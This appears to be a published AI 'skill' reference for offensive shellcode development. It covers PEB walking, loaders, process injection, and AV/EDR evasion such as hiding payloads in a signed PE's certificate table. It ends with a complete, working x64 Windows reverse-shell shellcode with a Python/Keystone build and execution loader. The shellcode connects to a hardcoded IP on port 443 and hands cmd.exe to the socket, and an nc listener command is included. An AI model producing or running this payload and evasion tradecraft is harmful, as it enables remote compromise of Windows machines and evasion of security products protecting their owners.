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offensive-shellcode

Shellcode development reference for offensive security engagements. Use when writing custom x86/x64 shellcode, implementing position-independent code (PIC), building shellcode loaders, evading AV/EDR detection, or converting PE files to shellcode. Covers null byte avoidance, API hashing, encoder/decoder patterns, staged vs stageless payloads, Windows PEB traversal, and cross-platform shellcode techniques.

Published by SnailSploit ↗SnailSploit/Claude-Red

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offensive-shellcode

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For an authorized engagement, help me write custom x64 Windows shellcode. I want a position-independent reverse shell that resolves kernel32 by walking the PEB, finds GetProcAddress through the export table, loads WS2_32.dll, and opens a Winsock connection back to my handler — all null-byte-free. Give me the assembly, a Keystone build step, and the callout IP and port I should swap before testing in my lab.

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SKILL.md

name: offensive-shellcodedescription: "Shellcode development reference for offensive security engagements. Use when writing custom x86/x64 shellcode, implementing position-independent code (PIC), building shellcode loaders, evading AV/EDR detection, or converting PE files to shellcode. Covers null byte avoidance, API hashing, encoder/decoder patterns, staged vs stageless payloads, Windows PEB traversal, and cross-platform shellcode techniques."

Shellcode Development Workflow

Define concept and target platform (x86/x64, Windows/Linux/macOS)
Write assembly using position-independent techniques
Extract binary and test in controlled environment
Apply null byte avoidance and optimizations
Encode/encrypt to evade static detection
Package with loader and choose delivery method

Basic Concepts

Execution Pattern (Allocate-Write-Execute)

Avoid direct PAGE_EXECUTE_READWRITE — prefer:

Allocate with PAGE_READWRITE
Write shellcode to allocated region
Call VirtualProtect to switch to PAGE_EXECUTE_READ

char *dest = VirtualAlloc(NULL, 0x1234, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
memcpy(dest, shellcode, 0x1234);
VirtualProtect(dest, 0x1234, PAGE_EXECUTE_READ, &old);
((void(*)())dest)();

Position-Independent Code (PIC) Techniques

Method	Platform	Notes
Call/Pop	Windows	Push next addr, pop into register
FPU state	Windows	`fstenv` saves instruction pointer
SEH	Windows	Exception handler stores EIP
GOT	Linux	Global Offset Table
VDSO	Linux	Kernel-provided shared object

Windows API Resolution (PEB Walk)

Identifying kernel32.dll without imports:

Get PEB via gs:[0x60] (x64) or fs:[0x30] (x86)
Walk PEB->Ldr.InMemoryOrderModuleList — order: exe → ntdll → kernel32
Hash-compare module names to locate kernel32
Parse the Export Address Table (EAT)
Find GetProcAddress by name hash, then resolve LoadLibraryA
Use LoadLibraryA to load WS2_32.dll, resolve Winsock functions

WinDbg helpers for debugging PEB walk:

dt nt!_TEB -y ProcessEnvironmentBlock @$teb
dt nt!_PEB -y Ldr <peb_addr>
dt -r _PEB_LDR_DATA <ldr_addr>
dt _LDR_DATA_TABLE_ENTRY (<init_flink_addr> - 0x10)
lm m kernel32   # verify base address
r @r8           # check register

Shellcode Loaders

Loader Responsibilities

Environment verification / keying (sandbox detection)
Shellcode decryption
Safe memory allocation and injection
Ends its duties after injecting

Recommended languages: Zig (small, no runtime), Rust (secure), Nim, Go (watch for runtime signatures)

Allocation Phase

Avoid RWX allocations — use two-step:

VirtualAllocEx / NtAllocateVirtualMemory — allocate RW
ZwCreateSection + NtMapViewOfSection — alternative approach
After writing: VirtualProtectEx to switch to RX

Other options: code caves, stack/heap (with DEP disabled)

Write Phase

WriteProcessMemory / NtWriteVirtualMemory
memcpy to mapped section

Evasion tips:

Prepend shellcode with dummy opcodes
Split into chunks, write in randomized order
Add delays between writes

Execute Phase

Most scrutinized step — EDR checks thread start address against image-backed memory:

Technique	Notes
`CreateRemoteThread` / `ZwCreateThreadEx`	Loud, heavily monitored
`NtSetContextThread`	Hijack suspended thread
`NtQueueApcThreadEx`	APC injection
API trampolines	Overwrite function prologue
ThreadlessInject	No new threads created

Indirect execution resources:

PE-to-Shellcode Conversion

Tool	Purpose
Donut	EXE/DLL → shellcode
sRDI	DLL → position-independent shellcode
Pe2shc	PE → shellcode
Amber	Reflective PE packer

Open-source loaders:

ScareCrow
NimPackt-v1
NullGate — indirect syscalls + junk-write sequencing
DripLoader — chunked RW writes + direct syscalls + JMP trampoline
ProtectMyTooling — chain multiple protections
Direct-syscall helpers: SysWhispers3, FreshyCalls (now baseline requirements)

Shellcode Storage & Hiding

Location	Risk	Notes
Hardcoded in `.text`	Medium	Requires recompile; stored `RW/RO`
PE Resources (`RCDATA`)	High	Most scanned by AV
Extra PE section	Medium	Use second-to-last section
Certificate Table	Low	Keeps signed PE signature intact
Internet-hosted	Variable	SharpShooter

Certificate Table technique (recommended):

Pad Certificate Table with shellcode bytes; update PE headers
Backdoor only the loader DLL (e.g., ffmpeg.dll in teams.exe)
Main executable signature remains valid; only the DLL signature breaks

Protection: Compress with LZMA; encrypt with XOR32, RC4, or AES before storing.

Windows 11 24H2 note: AMSI heap scanning is active. Allocate with PAGE_NOACCESS, decrypt in place, then switch to PAGE_EXECUTE_READ to avoid live-heap scans.

Evasion

Progressive Evasion Escalation

Basic shellcode execution (baseline)
Add XOR/AES encryption + obfuscation
Direct syscalls to bypass userland hooks
Remote process injection as last resort

Local vs Remote Injection

Remote injection is more detectable:

CFG / CIG enforcement
ETW Ti feeds
EDR call-stack back-tracing (NtOpenProcess invocation source)
More scrutinized steps: OpenProcess → Allocate → Write → Execute

Defender bypass tools (DefenderBypass):

myEncoder3.py — XOR-encrypt binary shellcode
InjectBasic.cpp — basic C++ injector
InjectCryptXOR.cpp — XOR decrypt + inject
InjectSyscall-LocalProcess.cpp — direct syscalls, no suspicious IAT entries
InjectSyscall-RemoteProcess.cpp — remote process injection via direct syscalls

Cross-Platform Considerations

Windows on ARM64 (WoA)

Syscalls use SVC 0 with ARM64 table in ntdll!KiServiceTableArm64
Pointer Authentication (PAC) signs LR — avoid stack pivots or re-sign with PACIASP

Linux 6.9+ (eBPF Arena)

BPF_MAP_TYPE_ARENA maps can hold executable memory
Hide shellcode chunks in arena map, execute via bpf_prog_run_pin_on_cpu

macOS (Signed System Volume)

macOS 12+ seals the system partition; unsigned payloads cannot reside there
Userspace: launch agents, dylib hijacks in /Library/Apple/System/Library/Dyld/
Kernel persistence: create sealed snapshot, mount RW, inject, resign with kmutil, bless

DripLoader Technique

github.com/xuanxuan0/DripLoader:

Reserve 64KB chunks with NO_ACCESS
Allocate 4KB RW chunks within that pool
Write shellcode in chunks in randomized order
Re-protect to RX
Overwrite prologue of ntdll!RtlpWow64CtxFromAmd64 with JMP trampoline
All calls via direct syscalls: NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx

Full x64 Reverse Shell Shellcode (Windows)

Complete Python/Keystone example implementing PEB walk → GetProcAddress → LoadLibraryA → Winsock connect → CreateProcessA(cmd.exe):

import ctypes, struct
from keystone import *

CODE = (
# Locate kernel32 Base Address
    " start:                         "
    "   add rsp, 0xfffffffffffffdf8 ;" # Avoid Null Byte and make some space
    " find_kernel32:                 "
    "   int3                        ;" # WinDbg breakpoint (disable for release)
    "   xor rcx, rcx                ;"
    "   mov rax, gs:[rcx + 0x60]    ;" # RAX = PEB
    "   mov rax, [rax + 0x18]       ;" # RAX = PEB->Ldr
    "   mov rsi, [rax + 0x20]       ;" # RSI = InMemoryOrderModuleList
    "   lodsq                       ;"
    "   xchg rax, rsi               ;"
    "   lodsq                       ;"
    "   mov rbx, [rax + 0x20]       ;" # RBX = kernel32 base
    "   mov r8, rbx                 ;"
# Parse Export Address Table
    "   mov ebx, [rbx+0x3C]         ;" # PE signature offset
    "   add rbx, r8                 ;" # RBX = PE header
    "   xor r12,r12                 ;"
    "   add r12, 0x88FFFFF          ;"
    "   shr r12, 0x14               ;"
    "   mov edx, [rbx+r12]          ;" # EAT RVA
    "   add rdx, r8                 ;" # RDX = EAT VA
    "   mov r10d, [rdx+0x14]        ;" # NumberOfFunctions
    "   xor r11, r11                ;"
    "   mov r11d, [rdx+0x20]        ;" # AddressOfNames RVA
    "   add r11, r8                 ;" # AddressOfNames VA
# Find GetProcAddress
    "   mov rcx, r10                ;"
    " k32findfunction:               "
    "   jecxz functionfound         ;"
    "   xor ebx,ebx                 ;"
    "   mov ebx, [r11+4+rcx*4]      ;" # Function name RVA
    "   add rbx, r8                 ;" # Function name VA
    "   dec rcx                     ;"
    "   mov rax, 0x41636f7250746547 ;" # 'GetProcA'
    "   cmp [rbx], rax              ;"
    "   jnz k32findfunction         ;"
# Get function address
    " functionfound:                 "
    "   xor r11, r11                ;"
    "   mov r11d, [rdx+0x24]        ;" # AddressOfNameOrdinals RVA
    "   add r11, r8                 ;"
    "   inc rcx                     ;"
    "   mov r13w, [r11+rcx*2]       ;" # Ordinal
    "   xor r11, r11                ;"
    "   mov r11d, [rdx+0x1c]        ;" # AddressOfFunctions RVA
    "   add r11, r8                 ;"
    "   mov eax, [r11+4+r13*4]      ;"
    "   add rax, r8                 ;" # GetProcAddress VA
    "   mov r14, rax                ;" # R14 = GetProcAddress
# Resolve LoadLibraryA
    "   mov rcx, 0x41797261         ;"
    "   push rcx                    ;"
    "   mov rcx, 0x7262694c64616f4c ;"
    "   push rcx                    ;" # 'LoadLibraryA'
    "   mov rdx, rsp                ;"
    "   mov rcx, r8                 ;" # kernel32 base
    "   sub rsp, 0x30               ;"
    "   call r14                    ;" # GetProcAddress(kernel32, LoadLibraryA)
    "   add rsp, 0x40               ;"
    "   mov rsi, rax                ;" # RSI = LoadLibraryA
# LoadLibrary("WS2_32.dll")
    "   xor rax, rax                ;"
    "   mov rax, 0x6C6C             ;"
    "   push rax                    ;"
    "   mov rax, 0x642E32335F325357 ;"
    "   push rax                    ;" # 'WS2_32.dll'
    "   mov rcx, rsp                ;"
    "   sub rsp, 0x30               ;"
    "   call rsi                    ;" # LoadLibraryA("WS2_32.dll")
    "   mov r15, rax                ;" # R15 = WS2_32 base
    "   add rsp, 0x40               ;"
# WSAStartup
    "   mov rax, 0x7075             ;"
    "   push rax                    ;"
    "   mov rax, 0x7472617453415357 ;"
    "   push rax                    ;" # 'WSAStartup'
    "   mov rdx, rsp                ;"
    "   mov rcx, r15                ;"
    "   sub rsp, 0x30               ;"
    "   call r14                    ;" # GetProcAddress(ws2_32, WSAStartup)
    "   add rsp, 0x40               ;"
    "   mov r12, rax                ;"
    "   xor rcx,rcx                 ;"
    "   mov cx,408                  ;"
    "   sub rsp,rcx                 ;"
    "   lea rdx,[rsp]               ;" # lpWSAData
    "   mov cx,514                  ;" # wVersionRequired = 2.2
    "   sub rsp,88                  ;"
    "   call r12                    ;" # WSAStartup
# WSASocketA — create socket
    "   mov rax, 0x4174             ;"
    "   push rax                    ;"
    "   mov rax, 0x656b636f53415357 ;"
    "   push rax                    ;" # 'WSASocketA'
    "   mov rdx, rsp                ;"
    "   mov rcx, r15                ;"
    "   sub rsp, 0x30               ;"
    "   call r14                    ;"
    "   add rsp, 0x40               ;"
    "   mov r12, rax                ;"
    "   sub rsp,0x208               ;"
    "   xor rdx, rdx                ;"
    "   sub rsp, 88                 ;"
    "   mov [rsp+32], rdx           ;"
    "   mov [rsp+40], rdx           ;"
    "   inc rdx                     ;"
    "   mov rcx, rdx                ;"
    "   inc rcx                     ;"
    "   xor r8,r8                   ;"
    "   add r8,6                    ;"
    "   xor r9,r9                   ;"
    "   mov r9w,98*4                ;"
    "   mov ebx,[r15+r9]            ;"
    "   xor r9,r9                   ;"
    "   call r12                    ;" # WSASocketA
    "   mov r13, rax                ;" # R13 = socket handle
    "   add rsp, 0x208              ;"
# WSAConnect — connect to C2
    "   mov rax, 0x7463             ;"
    "   push rax                    ;"
    "   mov rax, 0x656e6e6f43415357 ;"
    "   push rax                    ;" # 'WSAConnect'
    "   mov rdx, rsp                ;"
    "   mov rcx, r15                ;"
    "   sub rsp, 0x30               ;"
    "   call r14                    ;"
    "   add rsp, 0x40               ;"
    "   mov r12, rax                ;"
    "   mov rcx, r13                ;" # socket handle
    "   sub rsp,0x208               ;"
    "   xor rax,rax                 ;"
    "   inc rax                     ;"
    "   inc rax                     ;"
    "   mov [rsp], rax              ;" # AF_INET = 2
    "   mov rax, 0xbb01             ;" # Port 443 (big-endian)
    "   mov [rsp+2], rax            ;"
    "   mov rax, 0x31061fac         ;" # IP 172.31.6.49 — UPDATE THIS
    "   mov [rsp+4], rax            ;"
    "   lea rdx,[rsp]               ;"
    "   mov r8, 0x16                ;" # sizeof(sockaddr_in)
    "   xor r9,r9                   ;"
    "   push r9                     ;"
    "   push r9                     ;"
    "   push r9                     ;"
    "   sub rsp, 0x88               ;"
    "   call r12                    ;" # WSAConnect
# Re-locate kernel32 and resolve CreateProcessA
    "   xor rcx, rcx                ;"
    "   mov rax, gs:[rcx + 0x60]    ;"
    "   mov rax, [rax + 0x18]       ;"
    "   mov rsi, [rax + 0x20]       ;"
    "   lodsq                       ;"
    "   xchg rax, rsi               ;"
    "   lodsq                       ;"
    "   mov rbx, [rax + 0x20]       ;"
    "   mov r8, rbx                 ;"
    "   mov rax, 0x41737365636f     ;"
    "   push rax                    ;"
    "   mov rax, 0x7250657461657243 ;"
    "   push rax                    ;" # 'CreateProcessA'
    "   mov rdx, rsp                ;"
    "   mov rcx, r8                 ;"
    "   sub rsp, 0x30               ;"
    "   call r14                    ;"
    "   add rsp, 0x40               ;"
    "   mov r12, rax                ;" # R12 = CreateProcessA
# Push cmd.exe + build STARTUPINFOA
    "   mov rax, 0x6578652e646d63   ;"
    "   push rax                    ;" # 'cmd.exe'
    "   mov rcx, rsp                ;" # lpApplicationName
    "   push r13                    ;" # hStdError = socket
    "   push r13                    ;" # hStdOutput = socket
    "   push r13                    ;" # hStdInput = socket
    "   xor rax,rax                 ;"
    "   push ax                     ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   mov rax, 0x100              ;" # STARTF_USESTDHANDLES
    "   push ax                     ;"
    "   xor rax,rax                 ;"
    "   push ax                     ;"
    "   push ax                     ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   mov rax, 0x68               ;"
    "   push rax                    ;" # cb = 0x68
    "   mov rdi,rsp                 ;" # RDI = &STARTUPINFOA
# Call CreateProcessA
    "   mov rax, rsp                ;"
    "   sub rax, 0x500              ;"
    "   push rax                    ;" # lpProcessInformation
    "   push rdi                    ;" # lpStartupInfo
    "   xor rax, rax                ;"
    "   push rax                    ;" # lpCurrentDirectory = NULL
    "   push rax                    ;" # lpEnvironment = NULL
    "   push rax                    ;"
    "   inc rax                     ;"
    "   push rax                    ;" # bInheritHandles = TRUE
    "   xor rax, rax                ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   push rax                    ;" # dwCreationFlags = 0
    "   mov r8, rax                 ;" # lpThreadAttributes = NULL
    "   mov r9, rax                 ;" # lpProcessAttributes = NULL
    "   mov rdx, rcx                ;" # lpCommandLine = 'cmd.exe'
    "   mov rcx, rax                ;" # lpApplicationName = NULL
    "   call r12                    ;" # CreateProcessA
)

ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ctypes.windll.kernel32.RtlCopyMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t)
ctypes.windll.kernel32.CreateThread.argtypes = (
    ctypes.c_int, ctypes.c_int, ctypes.c_void_p,
    ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int),
)

ptr = ctypes.windll.kernel32.VirtualAlloc(
    ctypes.c_int(0), ctypes.c_int(len(shellcode)),
    ctypes.c_int(0x3000), ctypes.c_int(0x40)
)
buf = (ctypes.c_char * len(shellcode)).from_buffer_copy(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr), buf, ctypes.c_int(len(shellcode)))

print("Shellcode at %s" % hex(ptr))
input("Press ENTER to execute...")

ht = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(ptr),
    ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)),
)
ctypes.windll.kernel32.WaitForSingleObject(ht, -1)

Note: Update IP (0x31061fac) and port (0xbb01) before use. Listener: nc -nvlp 443

Windows 11 23H2: Smart App Control may block outbound TCP 443/4444 to local subnets. Use a non-standard port or a named-pipe payload.